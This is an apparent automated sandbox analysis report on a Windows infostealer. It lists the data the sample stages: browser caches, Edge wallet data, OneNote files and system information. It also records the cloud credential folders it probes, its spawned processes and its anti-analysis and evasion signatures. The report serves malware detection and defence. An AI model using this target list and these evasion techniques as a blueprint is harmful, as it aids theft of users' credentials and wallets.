"03809a07-348b-48cc-b08d-f7b8472c133c.png" has type "PNG image data 296 x 85 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\03809a07-348b-48cc-b08d-f7b8472c133c.png]- [targetUID: 00000000-00006976] "5f2cf75b-881d-4381-a640-48b3a4cf3d3b.png" has type "PNG image data 167 x 131 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\5f2cf75b-881d-4381-a640-48b3a4cf3d3b.png]- [targetUID: 00000000-00006976] "6dc6ea9d-e309-4d96-af86-75be16a9fa9c" has type "PNG image data 77 x 627 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\6dc6ea9d-e309-4d96-af86-75be16a9fa9c]- [targetUID: 00000000-00006976] "001DB8AE3A46F009910967724D0E7F33B99AA751" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3288465408"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\001DB8AE3A46F009910967724D0E7F33B99AA751]- [targetUID: 00000000-00006976] "19A03AE5DE9B25B5EEA9D68F5D4BC621BCEDA732" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3388997632 gzip compressed data reserved method has CRC was "" from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3388997632"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\19A03AE5DE9B25B5EEA9D68F5D4BC621BCEDA732]- [targetUID: 00000000-00006976] "889b10ec-9363-4c82-8e44-c0c294347b64" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 276x139 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\889b10ec-9363-4c82-8e44-c0c294347b64]- [targetUID: 00000000-00006976] "13363038-e235-4b9e-9031-d6c58d12484d.png" has type "PNG image data 164 x 89 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\13363038-e235-4b9e-9031-d6c58d12484d.png]- [targetUID: 00000000-00006976] "3d574e03-cfad-4ff4-abe5-3a5b2dce6df9.png" has type "PNG image data 230 x 68 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3d574e03-cfad-4ff4-abe5-3a5b2dce6df9.png]- [targetUID: 00000000-00006976] "5a6bf27d-10c0-48c2-ad99-6c05350c6480.png" has type "PNG image data 167 x 92 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\5a6bf27d-10c0-48c2-ad99-6c05350c6480.png]- [targetUID: 00000000-00006976] "22CD0114D2569A6E7B513D4EA78C9EDCBFA452A0" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 117506048"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\22CD0114D2569A6E7B513D4EA78C9EDCBFA452A0]- [targetUID: 00000000-00006976] "482a85d1-ca90-422e-b499-f3cc1eef376d.png" has type "PNG image data 162 x 89 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\482a85d1-ca90-422e-b499-f3cc1eef376d.png]- [targetUID: 00000000-00006976] "19611C2917EAEED7D982314C99CD3C954D8483C8" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\19611C2917EAEED7D982314C99CD3C954D8483C8]- [targetUID: 00000000-00006976] "59eca57b-98c0-4210-b058-65cd97f8a508.png" has type "PNG image data 165 x 131 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\59eca57b-98c0-4210-b058-65cd97f8a508.png]- [targetUID: 00000000-00006976] "2b830d01-9946-49ad-9255-6ee877aba6c9" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 262x277 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\2b830d01-9946-49ad-9255-6ee877aba6c9]- [targetUID: 00000000-00006976] "4788bb55-4d53-48fe-a624-32718407c800" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 70x626 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\4788bb55-4d53-48fe-a624-32718407c800]- [targetUID: 00000000-00006976] "8339d228-5ca6-486f-8793-633aa6af18d8.png" has type "PNG image data 176 x 68 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\8339d228-5ca6-486f-8793-633aa6af18d8.png]- [targetUID: 00000000-00006976] "07B3BF39C7822718F6EA5C627D7D92EEC198B2DB" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\07B3BF39C7822718F6EA5C627D7D92EEC198B2DB]- [targetUID: 00000000-00006976] "78e53d00-7097-45be-a724-8c2c45ca5a4f" has type "JPEG image data JFIF standard 1.01 resolution (DPI) density 72x72 segment length 16 baseline precision 8 95x498 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\78e53d00-7097-45be-a724-8c2c45ca5a4f]- [targetUID: 00000000-00006976] "0F71DBFE4F24CF0FFF578806621A0AADF32E36E1" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0F71DBFE4F24CF0FFF578806621A0AADF32E36E1]- [targetUID: 00000000-00006976] "1a16981c-377d-4a10-9522-787f93302c18.png" has type "PNG image data 50 x 56 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\1a16981c-377d-4a10-9522-787f93302c18.png]- [targetUID: 00000000-00006976] "4f92e887-7fef-4a98-9f74-501f37835639.png" has type "PNG image data 56 x 67 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\4f92e887-7fef-4a98-9f74-501f37835639.png]- [targetUID: 00000000-00006976] "2c0d8e04-f798-42d3-b3fe-b69d8830e1ca" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 728x77 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\2c0d8e04-f798-42d3-b3fe-b69d8830e1ca]- [targetUID: 00000000-00006976] "42a4aea1-ab77-4cf7-a3cb-14953248ceea.png" has type "PNG image data 43 x 65 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\42a4aea1-ab77-4cf7-a3cb-14953248ceea.png]- [targetUID: 00000000-00006976] "39d763df-782c-499a-bc6b-282e69c49544.png" has type "PNG image data 221 x 77 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\39d763df-782c-499a-bc6b-282e69c49544.png]- [targetUID: 00000000-00006976] "2210FD3DD8DAF0261118BF0009E971238513F7D3" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\2210FD3DD8DAF0261118BF0009E971238513F7D3]- [targetUID: 00000000-00006976] "6d6e34b9-0e90-470c-ada3-2b00b4b8ffac.png" has type "PNG image data 40 x 67 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\6d6e34b9-0e90-470c-ada3-2b00b4b8ffac.png]- [targetUID: 00000000-00006976] "3752bafb-4a08-4954-bf8d-61860aca83af.png" has type "PNG image data 127 x 138 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3752bafb-4a08-4954-bf8d-61860aca83af.png]- [targetUID: 00000000-00006976] "7f86dbaf-72fb-4b0b-8cc7-23904c4834f6.png" has type "PNG image data 59 x 61 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\7f86dbaf-72fb-4b0b-8cc7-23904c4834f6.png]- [targetUID: 00000000-00006976] "0ba9d8e0-32de-4c22-bd2a-0680e01a43fc" has type "PNG image data 39 x 600 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\0ba9d8e0-32de-4c22-bd2a-0680e01a43fc]- [targetUID: 00000000-00006976] "3155d78c-1584-4dec-9449-314a3d550d29" has type "PNG image data 50 x 500 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3155d78c-1584-4dec-9449-314a3d550d29]- [targetUID: 00000000-00006976] "3cf48f9d-e447-4274-b04d-40880dc5bddc.png" has type "PNG image data 213 x 85 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3cf48f9d-e447-4274-b04d-40880dc5bddc.png]- [targetUID: 00000000-00006976] "system_env.txt" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Environment\system_env.txt]- [targetUID: 00000000-00006976] "81394918-8a99-476a-9266-02ba17c7df28" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 17x608 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\81394918-8a99-476a-9266-02ba17c7df28]- [targetUID: 00000000-00006976] "2d02d28e-c843-42a7-ba9c-3541f1bd4e3a.png" has type "PNG image data 41 x 67 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\2d02d28e-c843-42a7-ba9c-3541f1bd4e3a.png]- [targetUID: 00000000-00006976] "072143f8-573f-45cb-b0b1-04f7bf2da18e.png" has type "PNG image data 48 x 67 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\072143f8-573f-45cb-b0b1-04f7bf2da18e.png]- [targetUID: 00000000-00006976] "61c58293-8c07-4e0e-aceb-cd73c01098ad" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 814x45 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\61c58293-8c07-4e0e-aceb-cd73c01098ad]- [targetUID: 00000000-00006976] "1432d74b-a831-4ac2-8265-ef41f133494e.png" has type "PNG image data 123 x 103 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\1432d74b-a831-4ac2-8265-ef41f133494e.png]- [targetUID: 00000000-00006976] "3c0a81c8-1e07-459d-8aa4-4cc41618b95d.png" has type "PNG image data 232 x 50 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3c0a81c8-1e07-459d-8aa4-4cc41618b95d.png]- [targetUID: 00000000-00006976] "06eecbf9-58f1-49d7-82dd-28980b9a6892" has type "PNG image data 40 x 623 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\06eecbf9-58f1-49d7-82dd-28980b9a6892]- [targetUID: 00000000-00006976] "0ff838eb-89b4-4a2f-881a-6e583195d26c.png" has type "PNG image data 125 x 27 8-bit/color RGB non-interlaced"- [targetUID: 00000000-00006976] "79a073b8-0713-4166-af23-3272c394a92a.png" has type "PNG image data 53 x 66 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\79a073b8-0713-4166-af23-3272c394a92a.png]- [targetUID: 00000000-00006976] "25122E09988C491E2E3C2597AB9FB9360DDBA437" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\25122E09988C491E2E3C2597AB9FB9360DDBA437]- [targetUID: 00000000-00006976] "04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D]- [targetUID: 00000000-00006976] "08339B2C8725AE0977C50D9DC59BC128E34AC049" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\08339B2C8725AE0977C50D9DC59BC128E34AC049]- [targetUID: 00000000-00006976] "185C61A61D47C00267C296D8295F9B3CF648379D" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\185C61A61D47C00267C296D8295F9B3CF648379D]- [targetUID: 00000000-00006976] "0E950F68F8F48174A12EE43F181D2D2C58F7A2E4" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0E950F68F8F48174A12EE43F181D2D2C58F7A2E4]- [targetUID: 00000000-00006976] "0DA04B823CA0C0ACF59ED87C1D5225298C5F2750" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0DA04B823CA0C0ACF59ED87C1D5225298C5F2750]- [targetUID: 00000000-00006976] "2239759F0CA01AA67086A68A8FC543DB1283FAE5" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\2239759F0CA01AA67086A68A8FC543DB1283FAE5]- [targetUID: 00000000-00006976] "0BDB047D2276D9E4588D4352648C3C5C7D96B9E5" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0BDB047D2276D9E4588D4352648C3C5C7D96B9E5]- [targetUID: 00000000-00006976] "0311672596129101B46B4E433A163DAFE1041BB6" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0311672596129101B46B4E433A163DAFE1041BB6]- [targetUID: 00000000-00006976] "048C0BA637EBDCC6986C557430C171C0FFEFB666" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\048C0BA637EBDCC6986C557430C171C0FFEFB666]- [targetUID: 00000000-00006976] "01B389B4B6499331C42AB8882DF16FC3A7ED7408" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\01B389B4B6499331C42AB8882DF16FC3A7ED7408]- [targetUID: 00000000-00006976] "0217E9CBD61685C0FB421A40803D21212CA9C884" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0217E9CBD61685C0FB421A40803D21212CA9C884]- [targetUID: 00000000-00006976] "05BB2A24C9592E36B2CB5E2F0449D4BB3A6021AE" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\05BB2A24C9592E36B2CB5E2F0449D4BB3A6021AE]- [targetUID: 00000000-00006976] "3506c6f4-6090-46ec-9fb3-0e2963361ba0.png" has type "PNG image data 26 x 24 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3506c6f4-6090-46ec-9fb3-0e2963361ba0.png]- [targetUID: 00000000-00006976] "46cf9adc-e6bd-46d1-845f-9c46d317ddec" has type "PNG image data 40 x 617 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\46cf9adc-e6bd-46d1-845f-9c46d317ddec]- [targetUID: 00000000-00006976] "1f5b048b-460f-40ea-9a03-eb303ea49bc0" has type "JPEG image data JFIF standard 1.01 resolution (DPCM) density 28x28 segment length 16 baseline precision 8 76x97 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\1f5b048b-460f-40ea-9a03-eb303ea49bc0]- [targetUID: 00000000-00006976] "17A9264D48EA447A7E17B6DB3E89163178C4F9D4" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\17A9264D48EA447A7E17B6DB3E89163178C4F9D4]- [targetUID: 00000000-00006976] "10ca911c-7fc2-4ed5-9965-88f551ff7fde" has type "PNG image data 39 x 579 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\10ca911c-7fc2-4ed5-9965-88f551ff7fde]- [targetUID: 00000000-00006976] "LOG" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Wallets\Edge\jdiccldimpdaibmpdkjnbmckianbfold\LOG]- [targetUID: 00000000-00006976] "0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F]- [targetUID: 00000000-00006976] "octo-fingerprint.json" has type "JSON text data"- Location: [%TEMP%\rxclient_1792193633610221700\output\octo-fingerprint.json]- [targetUID: 00000000-00006976] "1F598FFB2F4380C0F286A8D06BC0883B4B02507A" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1F598FFB2F4380C0F286A8D06BC0883B4B02507A]- [targetUID: 00000000-00006976] "217D63521078EB1347865E77CDD0A7C830D208DD" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\217D63521078EB1347865E77CDD0A7C830D208DD]- [targetUID: 00000000-00006976] "MANIFEST-000001" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Wallets\Edge\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001]- [targetUID: 00000000-00006976] "CURRENT" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Wallets\Edge\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT]- [targetUID: 00000000-00006976] "installed_browsers.txt" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Browsers\installed_browsers.txt]- [targetUID: 00000000-00006976]55:T5ac,"file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "")56:T635,"file.exe" queries basic process information of the "C:\file.exe" (UID: 6548) "file.exe" queries basic process information of the "C:\Windows\System32\curl.exe" (UID: 6548) "file.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\uzbektajik.exe" (UID: 6548) "file.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\itsub.exe" (UID: 6548) "curl.exe" queries basic process information of the "C:\Windows\System32\curl.exe" (UID: 4788) "curl.exe" queries basic process information of the "C:\Windows\System32\curl.exe" (UID: 4988) "uzbektajik.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\uzbektajik.exe" (UID: 6976) "uzbektajik.exe" queries basic process information of the "C:\Windows\System32\ipconfig.exe" (UID: 6976) "uzbektajik.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\rxinj_1792193633892748900\helper.exe" (UID: 6976) "uzbektajik.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 6976) "uzbektajik.exe" queries basic process information of the "C:\Windows\System32\tasklist.exe" (UID: 6976) "uzbektajik.exe" queries basic process information of the "C:\Windows\System32\whoami.exe" (UID: 6976) "uzbektajik.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\rxlss_1792194023545449700\lss.exe" (UID: 6976) "helper.exe" queries basic process information of the "C:\Program Files\Google\Chrome\Application\chrome.exe" (UID: 6700)57:Ta8f,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "FILE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "")58:T4ae,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Reference to an external IP address lookup service identified Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Able to identify virtual environment by using API string Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using web history Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Possibly tries to evade analysis by sleeping multiple times Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to identify external IP address59:T563,"file.exe" trying to access non-existent file "C:\MPR.DLL" "file.exe" trying to access non-existent file "C:\MPR.dll" "file.exe" trying to access non-existent file "C:\FLTLIB.DLL" "file.exe" trying to access non-existent file "C:\MSVCP140.DLL" "file.exe" trying to access non-existent file "C:\MSVCP140.dll" "file.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "file.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "file.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "file.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "file.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "file.exe" trying to access non-existent file "C:\DBGHELP.DLL" "file.exe" trying to access non-existent file "C:\dbghelp.dll" "file.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "file.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "file.exe" trying to access non-existent file "C:\Windows\System32\wbem\BCRYPT.DLL" "file.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\bcrypt.dll" "file.exe" trying to access non-existent file "C:\CURL.EXE" "file.exe" trying to access non-existent file "C:\curl.exe" "file.exe" trying to access non-existent file "C:\NTOSKRNL.EXE" "file.exe" trying to access non-existent file "C:\ntoskrnl.exe"5a:T5f2,"file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\NTKRNLMP_7C6B3934E36B4ED89EA9374957EDEAC41.PDB" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb" "file.exe" trying to access non-existent file "C:\NTKRNLMP_7C6B3934E36B4ED89EA9374957EDEAC41.PDB" "file.exe" trying to access non-existent file "C:\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb" "curl.exe" trying to access non-existent file "\Device\RasAcd" "uzbektajik.exe" trying to access non-existent file "\Device\RasAcd" "uzbektajik.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\THUNDERBIRD" "uzbektajik.exe" trying to access non-existent file "C:\Users\%OSUSER%\.AWS" "uzbektajik.exe" trying to access non-existent file "C:\Users\%OSUSER%\.AZURE" "uzbektajik.exe" trying to access non-existent file "C:\Users\%OSUSER%\.GCP" "uzbektajik.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\STEAM" "uzbektajik.exe" trying to access non-existent file "C:\Users\%OSUSER%\.GITCONFIG" "ipconfig.exe" trying to access non-existent file 